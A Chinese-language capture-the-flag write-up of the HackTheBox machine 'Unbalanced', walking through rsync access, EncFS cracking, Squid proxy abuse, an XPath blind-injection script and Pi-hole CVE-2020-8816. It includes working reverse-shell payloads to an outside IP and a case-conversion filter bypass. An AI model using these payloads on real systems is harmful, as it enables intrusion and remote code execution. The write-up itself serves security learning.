Unbalanced 可能是自己做过的htb困难靶机中里最简单的一个。其主要难度来自于最开始的起手式部分。比较需要耐心,但是没有难度。而提权部分直接可以用nday打。这对于一个困难靶机而言基本太过简单了。所以到时简单分析下这个用到的cve。
- 靶机 10.10.10.200
- 攻击机 10.10.14.11
initial foothold
nmap
# Nmap 7.80 scan initiated Fri Aug 7 11:01:56 2020 as: nmap -sC -sV -oA nmap/unbalance 10.10.10.200
Nmap scan report for 10.10.10.200
Host is up (0.43s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 a2:76:5c:b0:88:6f:9e:62:e8:83:51:e7:cf:bf:2d:f2 (RSA)
| 256 d0:65:fb:f6:3e:11:b1:d6:e6:f7:5e:c0:15:0c:0a:77 (ECDSA)
|_ 256 5e:2b:93:59:1d:49:28:8d:43:2c:c1:f7:e3:37:0f:83 (ED25519)
873/tcp open rsync (protocol version 31)
3128/tcp open http-proxy Squid http proxy 4.6
|_http-server-header: squid/4.6
|_http-title: ERROR: The requested URL could not be retrieved
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Aug 7 11:03:34 2020 -- 1 IP address (1 host up) scanned in 98.87 seconds
873有rsync.3128有squid。既然rsync开放,在htb这种环境里肯定存在未授权访问的。所以探测并下载下来。
root@byc404:~/htb/boxes/Unbalanced/# rsync 10.10.10.200::
conf_backups EncFS-encrypted configuration backups
root@byc404:~/htb/boxes/Unbalanced/# rsync 192.168.122.1::conf_backups ./rsync_backup
得到conf_backups文件夹。看下内容
root@byc404:~/htb/boxes/Unbalanced/rsync_backup# ls -la
-rw-r--r-- 1 root root 2980 Apr 4 23:05 A4qOD1nvqe9JgKnslwk1sUzO
-rw-r--r-- 1 root root 1138 Apr 4 23:05 a4zdmLrBYDC24s9Z59y-Pwa2
-rw-r--r-- 1 root root 443 Apr 4 23:05 Acv0PEQX8vs-KdK307QNHaiF
-rw-r--r-- 1 root root 935 Apr 4 23:05 B6J5M3OP0X7W25ITnaZX753T
-rw-r--r-- 1 root root 3643 Apr 4 23:05 c9w3APbCYWfWLsq7NFOdjQpA
-rw-r--r-- 1 root root 288 Apr 4 23:05 ,CBjPJW4EGlcqwZW4nmVqBA6
-rw-r--r-- 1 root root 1521 Apr 4 23:05 Chlsy5ahvpl5Q0o3hMyUIlNwJbiNG99DxXJeR5vXXFgHC1
-rw-r--r-- 1 root root 332 Apr 4 23:05 cwJnkiUiyfhynK2CvJT7rbUrS3AEJipP7zhItWiLcRVSA1
-rw-r--r-- 1 root root 2592 Apr 4 23:05 dF2GU58wFl3x5R7aDE6QEnDj
-rw-r--r-- 1 root root 1268 Apr 4 23:05 dNTEvgsjgG6lKBr8ev8Dw,p7
-rw-r--r-- 1 root root 2359 Apr 4 23:05 ECXONXBBRwhb5tYOIcjjFZzh
-rw-r--r-- 1 root root 1297 Apr 2 21:06 .encfs6.xml
-rw-r--r-- 1 root root 1464 Apr 4 23:05 F4F9opY2nhVVnRgiQ,OUs-Y0
-rw-r--r-- 1 root root 354 Apr 4 23:05 FGZsMmjhKz7CJ2r-OjxkdOfKdEip4Gx2vCDI24GXSF5eB1
.....
发现文件名似乎都是处理过的hashstring.有个.encfs6.xml
但是内容看不出什么敏感数据。
google搜索了下发现这是encfs加密得到配置文件。encfs
加密的用法简单来说,就是你可以指定一个被加密的文件夹,再mount另一个文件夹作为加密文件夹。执行encfs后,被加密的文件夹的内容以及文件名就在加密文件夹就会自动生成。此时加密文件夹会留下一个.encfs6.xml
这种情况经常出现在使用自动同步的情况里面。因为encfs一旦为两个文件夹建立了映射,就会自动加密新放入的文件。正因如此,使用rsync处理encfs加密后的文件夹也是一种常见选择。而一旦出现了rsync未授权访问就将导致进一步的信息泄露。实战中完全可能。
至于解密方法其实安装了encfs后看一下man就懂了。我在--reverse
的选项那看到了一种逆向两个encfs文件夹的做法。因此只需要一个正确的encfs 密码即可。(encfs每次调用加密建立映射时会要求你输入密码)
接着查资料。我发现encfs如果有.encfs6.xml
的话。可以直接使用john爆破
https://security.stackexchange.com/questions/98205/breaking-encfs-given-encfs6-xml
先使用encfs2john.py转换。然后爆破即可
结果$encfs$192*580280*0*20*99176a6e4d96c0b32bad9d4feb3d8e425165f105*44*1b2a580dea6cda1aedd96d0b72f43de132b239f51c224852030dfe8892da2cad329edc006815a3e84b887add:bubblegum
bubblegum就是encfs密码。
然后解密文件夹。把解密的文件夹放到rsync_decrypt
里去。注意这里的路径只接受绝对路径。
ENCFS6_CONFIG=/root/htb/boxes/Unbalanced/rsync_backup/.encfs6.xml encfs /root/htb/boxes/Unbalanced/rsync_backup /root/htb/boxes/Unbalanced/rsync_decrypt
得到解密文件夹后。发现有几十个conf文件。基本就是平时会放到/etc
下的那些.conf
文件。
这里明显需要抓重点。基于之前我们探测时发现有squid代理开放。所以找到squid.conf。
squid.conf同样要抓重点。因为里面有上千行内容。比较方便的方法是直接cat squid.conf| grep htb
找到一个域名。或者后来我拿到本机上用vscode看时因为注释部分跟未注释部分有明显的绿色与白色差别。所以可以很快拖着看。找到所有关键信息。
# Only allow cachemgr access from localhost
#http_access allow localhost manager
#http_access deny manager
http_access allow manager
#http_access allow localnet
http_access allow localhost
# Allow access to intranet
acl intranet dstdomain -n intranet.unbalanced.htb
acl intranet_net dst -n 172.16.0.0/12
http_access allow intranet
http_access allow intranet_net
# cachemgr_passwd secret shutdown
# cachemgr_passwd lesssssssecret info stats/objects
# cachemgr_passwd disable all
#Default:
# No password. Actions which require password are denied.
cachemgr_passwd Thah$Sh1 menu pconn mem diskd fqdncache filedescriptors objects vm_objects counters 5min 60min histograms cbdata sbuf events
cachemgr_passwd disable all
几个关键点。
intranet.unbalanced.htb
域名。不过是内网ip- cachemgr_passwd 即cache manager的密码
Thah$Sh1
- 只能本地访问
那就很明显了。我们之前namp也没有找到squid以外的web服务。既然如此,直接使用它这个代理服务器作代理就能访问内网网页了。
修改浏览器的代理改为10.10.10.200:3128
.再次访问intranet.unbalanced.htb
现在我们可以访问到页面.它会重定向我们到/inranet.php
。不过这个登录界面没啥东西。可能需要进一步利用。唯一稍微泄露出相关信息的内容在headers里
这时想起我们之前的cache manager密码。搜索一波如何利用。
The cache manager (cachemgr.cgi) is a CGI utility for displaying statistics about the squid process as it runs
简单看下发现我们是可以调用cachemgr的命令的。之前在squid.conf中跟在密码后的一大组文字其实就是各种可调用的命令。
搜索了下调用方式。发现可以telnet
连接代理服务器然后再传一个http报头。不过后来找到一个debian就有的squidclient
命令行.更加方便。
我们先调用下menu
命令。
root@byc404:~/htb/boxes/Unbalanced# squidclient -h 10.10.10.200 -w 'Thah$Sh1' mgr:menu
HTTP/1.1 200 OK
Server: squid/4.6
Mime-Version: 1.0
Date: Sat, 15 Aug 2020 02:17:42 GMT
Content-Type: text/plain;charset=utf-8
Expires: Sat, 15 Aug 2020 02:17:42 GMT
Last-Modified: Sat, 15 Aug 2020 02:17:42 GMT
X-Cache: MISS from unbalanced
X-Cache-Lookup: MISS from unbalanced:3128
Via: 1.1 unbalanced (squid/4.6)
Connection: close
index Cache Manager Interface disabled
menu Cache Manager Menu protected
offline_toggle Toggle offline_mode setting disabled
shutdown Shut Down the Squid Process disabled
reconfigure Reconfigure Squid disabled
rotate Rotate Squid Logs disabled
pconn Persistent Connection Utilization Histograms protected
mem Memory Utilization protected
diskd DISKD Stats protected
squidaio_counts Async IO Function Counters disabled
config Current Squid Configuration disabled
client_list Cache Client List disabled
comm_epoll_incoming comm_incoming() stats disabled
ipcache IP Cache Stats and Contents disabled
fqdncache FQDN Cache Stats and Contents protected
idns Internal DNS Statistics disabled
redirector URL Redirector Stats disabled
store_id StoreId helper Stats disabled
external_acl External ACL stats disabled
http_headers HTTP Header Statistics disabled
external_acl External ACL stats disabled
http_headers HTTP Header Statistics disabled
info General Runtime Information disabled
service_times Service Times (Percentiles) disabled
filedescriptors Process Filedescriptor Allocation protected
objects All Cache Objects protected
vm_objects In-Memory and In-Transit Objects protected
io Server-side network read() size histograms disabled
counters Traffic and Resource Counters protected
peer_select Peer Selection Algorithms disabled
digest_stats Cache Digest and ICP blob disabled
5min 5 Minute Average of Counters protected
60min 60 Minute Average of Counters protected
utilization Cache Utilization disabled
histograms Full Histogram Counts protected
active_requests Client-side Active Requests disabled
username_cache Active Cached Usernames disabled
openfd_objects Objects with Swapout files open disabled
store_digest Store Digest disabled
store_log_tags Histogram of store.log tags disabled
storedir Store Directory Stats disabled
store_io Store IO Interface Stats disabled
store_check_cachable_stats storeCheckCachable() Stats disabled
refresh Refresh Algorithm Statistics disabled
delay Delay Pool Levels disabled
forward Request Forwarding Statistics disabled
cbdata Callback Data Registry Contents protected
sbuf String-Buffer statistics protected
events Event Queue protected
netdb Network Measurement Database disabled
asndb AS Number Database disabled
carp CARP information disabled
userhash peer userhash information disabled
sourcehash peer sourcehash information disabled
server_list Peer Cache Statistics disabled
可以看到除了squid配置中已经标出的可用命令外,其他都是disabled的。所以我们依次调用下寻找关键信息。
在调用到fqdncache
时
FQDN Cache Statistics:
FQDNcache Entries In Use: 13
FQDNcache Entries Cached: 11
FQDNcache Requests: 12782
FQDNcache Hits: 0
FQDNcache Negative Hits: 7080
FQDNcache Misses: 5702
FQDN Cache Contents:
Address Flg TTL Cnt Hostnames
10.10.14.6 N -16959 0
127.0.1.1 H -001 2 unbalanced.htb unbalanced
::1 H -001 3 localhost ip6-localhost ip6-loopback
172.31.179.2 H -001 1 intranet-host2.unbalanced.htb
172.31.179.3 H -001 1 intranet-host3.unbalanced.htb
10.10.10.200 N -1086 0
127.0.0.1 H -001 1 localhost
172.17.0.1 H -001 1 intranet.unbalanced.htb
ff02::1 H -001 1 ip6-allnodes
ff02::2 H -001 1 ip6-allrouters
10.10.14.65 N 025 0
看到intranet-host3.unbalanced.htb
及对应的ip。不难想到内网里可能还有其他服务。这里先访问172.31.179.2
与172.31.179.3
.发现会被重定向到/inranet.php
也就是跟之前同样的网页。但是顺着访问172.31.179.1
时
没有出现重定向。这种怪异行为值得重视。我们再次访问172.31.179.1/intranet.php
。这次尝试登录时,会发现它会回显Invalid credentials.
.也就是说可以跟服务交互了。
既然如此肯定就要在登录参数作文章。无非不就是sqli那一套。简单尝试后发现密码处存在注入.当以abc' or '1'='1
作为密码时会回显四个用户名与对应邮箱。
rita
Rita Fubelli
rita@unbalanced.htb
Role: HR Manager
jim
Jim Mickelson
jim@unbalanced.htb
Role: Web Designer
bryan
Bryan Angstrom
bryan@unbalanced.htb
Role: System Administrator
sarah
Sarah Goodman
sarah@unbalanced.htb
Role: Team Leader
bryan是Administrator
.说明很有可能就是需要他的信息。不过这里有个细节上需要注意下。当我尝试如abc' or 1=1#
这样的payload不可行,abc' or substr('abc',1,1)='a
也不可行。但是abc' or substring('abc',1,1)='a
是回显了真值的。那么这里真的是sql注入吗?答案是否定的。我很快联想到曾经在npuctf中出现过一次的xpath注入。加上这里并没有执行所谓的登录操作,而是在界面回显html块内容。我可以判断,这里应该是一个xpath注入而不是sql注入。
xpath来盲注的话。比起sql布尔盲注更加简单
import requests
import string
URL='http://172.31.179.1/intranet.php'
proxies={'http':"10.10.10.200:3128"}
users={'bryan','rita','jim','sarah'}
for user in users:
password=""
print(user)
for i in range(1,30):
a=0
print(i)
for j in string.printable:
data={"Username":"a","Password":"' or Username='"+user+"' and substring(Password,"+str(i)+",1)='"+j+""}
r=requests.post(URL,data=data,proxies=proxies)
if len(r.text) > 7000:
password+=j
a=1
print(password)
break
if a==0:
break
简单写个盲注脚本,注意要挂它的proxy。这里优先跑bryan的密码。因为远程实在太慢了……幸好bryan就是系统用户。使用它的密码即可ssh登录。
其他人的密码后来花些时间也跑出来了。
bryan:ireallyl0vebubblegum!!!
rita:password01!
jim:stairwaytoheaven
sarah:sarah4evah
bryan登录上去就能拿到user.txt了。
简单说这一部分其实难度真的一般。主要是使用它给的proxy这步可能有的人没做过。但是假如利用好rsync得到的conf就能很快知道这点。所以难度一般。后面比较迷惑的还是xpath与sqli不能混淆。不过通过简单的fuzz还是能判断出来的。
privesc to root
bryan文件夹下有一个TODO
############
# Intranet #
############
* Install new intranet-host3 docker [DONE]
* Rewrite the intranet-host3 code to fix Xpath vulnerability [DONE]
* Test intranet-host3 [DONE]
* Add intranet-host3 to load balancer [DONE]
* Take down intranet-host1 and intranet-host2 from load balancer (set as quiescent, weight zero) [DONE]
* Fix intranet-host2 [DONE]
* Re-add intranet-host2 to load balancer (set default weight) [DONE]
- Fix intranet-host1 [TODO]
- Re-add intranet-host1 to load balancer (set default weight) [TODO]
###########
# Pi-hole #
###########
* Install Pi-hole docker (only listening on 127.0.0.1) [DONE]
* Set temporary admin password [DONE]
* Create Pi-hole configuration script [IN PROGRESS]
- Run Pi-hole configuration script [TODO]
- Expose Pi-hole ports to the network [TODO]
从这里可以看出。靶机上已经跑好了一个docker。但是它是跑在127。0.0.1的。并且有个admin
密码。Pi-hole 配置文件尚未完成。
ss -lntp
看下端口
bryan@unbalanced:~$ ss -lntp
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 5 0.0.0.0:873 0.0.0.0:*
LISTEN 0 128 127.0.0.1:8080 0.0.0.0:*
LISTEN 0 128 127.0.0.1:5553 0.0.0.0:*
LISTEN 0 32 0.0.0.0:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 5 [::]:873 [::]:*
LISTEN 0 32 [::]:53 [::]:*
LISTEN 0 128 [::]:22 [::]:*
LISTEN 0 128 *:3128 *:*
8080与5553明显是跑在本地上的。其中8080可以curl到。不过会提醒我们hostname不对。
既然是个web服务。那先端口转发到本地看看长什么样。我们直接用ssh转发
~C #进入ssh命令行
-L 8080:127.0.0.1:8080
增加一个Host: unbalanced
再次暴露了一个pihole.unbalanced.htb
.以及对应的内网ip.
访问这个pihole的后台/admin
.因为之前提示过我们temporary admin password .所以用admin就能登入。进去后发现是个4.3.2版本的pihole.
暂时没思路。不过搜索下发现版本在CVE-2020-8816可用范围内。这个是可以直接rce拿到www-data的shell的。虽然跟我们提权root没啥关系。但是不妨一试。
用这的exp
https://github.com/AndreyRainchik/CVE-2020-8816
因为我们已经转发好端口了。所以直接打就是了python3 CVE-2020-8816.py http://127.0.0.1:8080 admin 10.10.14.11 90001
www-data的话肯定得继续收集信息了。但是我意想不到的是www-data居然可以直接进这个docker的root目录……简直可怕。然后里面有之前提到的config文件
#!/bin/bash
# Add domains to whitelist
/usr/local/bin/pihole -w unbalanced.htb
/usr/local/bin/pihole -w rebalanced.htb
# Set temperature unit to Celsius
/usr/local/bin/pihole -a -c
# Add local host record
/usr/local/bin/pihole -a hostrecord pihole.unbalanced.htb 127.0.0.1
# Set privacy level
/usr/local/bin/pihole -a -l 4
# Set web admin interface password
/usr/local/bin/pihole -a -p 'bUbBl3gUm$43v3Ry0n3!'
# Set admin email
/usr/local/bin/pihole -a email admin@unbalanced.htb
admin的密码又是一个跟bubblegum
有关的……试了下ssh登录root没成。su一下居然就成了……
怎么说呢。提权这块只要nday poc就能拿www-data => 然后就可以进root目录=> 然后系统密码直接就暴露出来了。这一连串操作令人窒息。有点刻意而且让这台靶机的体验直接降了一个档次。所以没啥总结的。
CVE-2020-8816
因为后面没什么收获,所以简单看了下这个cve。发现还挺有意思的。
首先。pihole有这样一个功能设置静态DHCP,将IP地址固定到给定的MAC地址上
而他的源码里调用了命令执行拼接
if(!strlen($error))
{
exec("sudo pihole -a addstaticdhcp ".$mac." ".$ip." ".$hostname);
$success .= "A new static address has been added";
}
既然是拼接。假如没有过滤到位那就肯定可以绕过。我们看下它主要的过滤方式。
function validMAC($mac_addr)
{
// Accepted input format: 00:01:02:1A:5F:FF (characters may be lower case)
return (preg_match('/([a-fA-F0-9]{2}[:]?){6}/', $mac_addr) == 1);
}
......
$mac = $_POST["AddMAC"];
$ip = $_POST["AddIP"];
$hostname = $_POST["AddHostname"];
if(!validMAC($mac))
{
$error .= "MAC address (".htmlspecialchars($mac).") is invalid!<br>";
}
$mac = strtoupper($mac);
这个正则写的并不正确。比如我们直接使用aaaaaaaaaaaa
就能通过校验。甚至可以在后面加上任意shell代码
var_dump(validMAC('aaaaaaaaaaaa&&php -r \'$sock=fsockopen("10.1.0.9",2256);exec("bin/sh -i <&3 >&3 2>&3");\''));
//bool(true)
不过唯一重点就是。他对我们的输入调用了htmlspecialchars以及strtoupper
.后者比较关键。
这时首先就考验利用的php技巧了。因为合法的mac后面跟任意语句都是可以的。那自然我们选择php代码执行函数。(php自带函数不区分大小写)。使用EXEC(HEX2BIN(xxxxx...))
即可以执行任意代码。接下来重点就是绕过被变成大写的php -r
了。
这一步就用到系统命令执行的绕过技巧了。假如我们使用aaaaaaaaaaaa$PATH
.系统是会返回PATH变量的
/opt/pihole:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
而其中pihole,usr正好可以构造出p h r
这几个字母。所以我们使用
W=${PATH#/???/}
P=${W%%?????:}
X=${PATH#/???/??}
H=${X%%???:}
Z=${PATH#:/??}
R=${Z%%/}
简单举个例子。基本上就是利用linux通配符来进行构造。十分精妙
root@pihole:/# W=${PATH#/???/}&&P=${W%%?????:*}&&echo $W && echo $P
pihole:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
p
最后以类似的payload命令执行
aaaaaaaaaaaa&&W=${PATH#/???/}&&P=${W%%?????:*}&&X=${PATH#/???/??}&&H=${X%%???:*}&&Z=${PATH#*:/??}&&R=${Z%%/*}&&$P$H$P$IFS-$R$IFS'EXEC(HEX2BIN("706870202D72202724736F636B3D66736F636B6F70656E282231302E312E302E39222C32323536293B6578656328222F62696E2F7368202D69203C2633203E263320323E263322293B27"));'&&
summary
前面很有趣。后面很简单。不过如果深入研究这个cve的话还是比较有收获的。